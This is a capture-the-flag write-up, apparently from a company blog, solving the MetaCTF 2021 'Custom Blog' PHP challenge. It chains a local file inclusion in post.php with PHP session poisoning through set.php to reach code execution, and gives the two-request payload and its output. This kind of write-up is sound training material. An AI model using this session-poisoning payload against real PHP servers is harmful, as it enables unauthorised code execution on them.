visage coloré avec les réseaux sociaux et le logo MegaCTF

MetaCTF 2021 Custom Blog

Top News12/09/2020

By Aldric Berthet-Bondet and Florian Picca

In this challenge, we will have to exploit an LFI to get an RCE on the server from a blog written in PHP.


  • Category : Web
  • Points : 350
  • Solves: 86


This guy wrote his own blog in PHP instead of, I dunno, literally anything else. Can you teach him a lesson?

The server is running php 7.4.26. If you’re running locally, use Docker


Note: You won’t be able to read the flag directly. If the flag appears to be empty, try a different strategy.

Sources files :

A zip file containing PHP source code has been provided with the following content :

├── index.php
├── post.php
├── set.php
├── style.css
└── theme.php

0 directories, 5 files

Understanding the problem

First, we started by visiting the blog to understand what we have to deal with. Just by browsing between the pages we quickly noticed that blog posts are loaded through a GET variable (whose value is assigned to their names).

With that in mind we immediately thought there was a local file inclusion from which we can just load the flag (Game over :p).

Solving the problem


Our assumption was correct but everything did not go as planned…

Although we tried several times, by testing few directories (/home/flag, etc.), we did not manage to display the flag. But our research was not useless. We noticed the server did not answer the same way when we tried to access files or directories which exist on the filesystem or not. This was a very important information because we understood the flag was saved in /flag with name “flag.txt”.



It has been 15 minutes since we started and before continuing we decided to take a look a the source code :

<?php session_start(); ?>
<!DOCTYPE html>
<html lang="en">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>My Blog</title>
    <link rel="stylesheet" href="/style.css">
    <?php include 'theme.php'; ?>

    <h1>welcome to my blog! 🍊</h1>
    <p>a place for me to talk about stuff</p>
      switch color theme:
      <a href="/set.php?theme=dark">dark mode</a>
      <a href="/set.php?theme=light">light mode</a>
        $posts = glob("posts/*");
        foreach ($posts as $post) {
          $name = basename($post);
          echo '<li><a href="/post.php?post=' . $name . '">' . $name . '</a></li>';

The index.php is just listing post names and provides users with the ability to switch between dark and light theme.

The theme.php file is the following:

<style type="text/css">
  $themes = array('light'=>['#111', '#eee'], 'dark'=>['#eee','#111']);

  if (!isset($_SESSION['theme'])) {
    $_SESSION['theme'] = 'light';

  $theme = $_SESSION['theme'];
  if (!array_key_exists($theme, $themes)) {
    $theme = 'light';

  echo 'body { color: ' . $themes[$theme][0] . '; background-color: ' . $themes[$theme][1] . '; }';

Basically it just allows to change the background and body color.

The post.php file is loading the content of the post :


  if (isset($_GET['post']) && file_exists($post = 'posts/' . $_GET['post'])) {
    $ok = true;
  } else {
    $ok = false;
<!DOCTYPE html>
<html lang="en">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?= htmlentities($_GET['post']) ?></title>
    <link rel="stylesheet" href="/style.css">
    <?php include 'theme.php'; ?>

      if ($ok) {
        echo '<h1>' . htmlentities($_GET['post']) . '</h1><hr><div class="post">';
        include $post;
        echo '</div>';
      } else {
        echo '<h1>post not found :(</h1><hr>';
    <a href="/">home</a>

It first checks if the file exists. If not, we get a 404 error, otherwise the file is loaded by calling include on it. This is the origin of the LFI vulnerability.

One of the posts gives explanations on the previous hack :

i got hacked???
someone broke in and added a post
and they stole all my flags...
maybe i shouldn't have put them in such an obvious place like `/flag` :(

Because we found the new flag location, but couldn’t read it. And because the previous hacker seemed to have gained remote code execution, we thought we might have to do the same to read the flag.

The set.php file is assigning the session variable theme to a user-controlled value :


  if (isset($_GET['theme'])) {
    $_SESSION['theme'] = $_GET['theme'];

  header('Location: /');

In PHP, session variables are stored on the filesystem and might be accessible through our LFI vulnerability. If we manage to inject PHP code in the session variable and include it with the LFI, we will gain RCE on the server.

To locate the file location of the session object, we looked online and after some research we discovered they are stored in /tmp. The filename has the following syntax : sess_<ID> with <ID> being the PHP session ID found in our cookie :

Implementing the solution

The final exploit is done in two stages, first we send the PHP payload using the set.php endpoint and then trigger the RCE by abusing the LFI :

# First request
/set.php?theme=%3C?php%20system('ls -lah /flag');?%3E
# Second request

Result :

theme|s:32:"total 796K
drwxr-xr-x 1 flag flag 4.0K Dec  3 19:21 .
drwxr-xr-x 1 root root 4.0K Dec  3 19:21 ..
-r-------- 1 flag flag   33 Dec  2 18:31 flag.txt
-rwsr-xr-x 1 flag flag 784K Dec  2 20:43 flagreader

We knew that to obtain the flag we had to execute the flagreader wrapper, so we did and got the flag.

Flag : MetaCTF{wh2t??lfi_1s_ev0lv1ng??}

Our news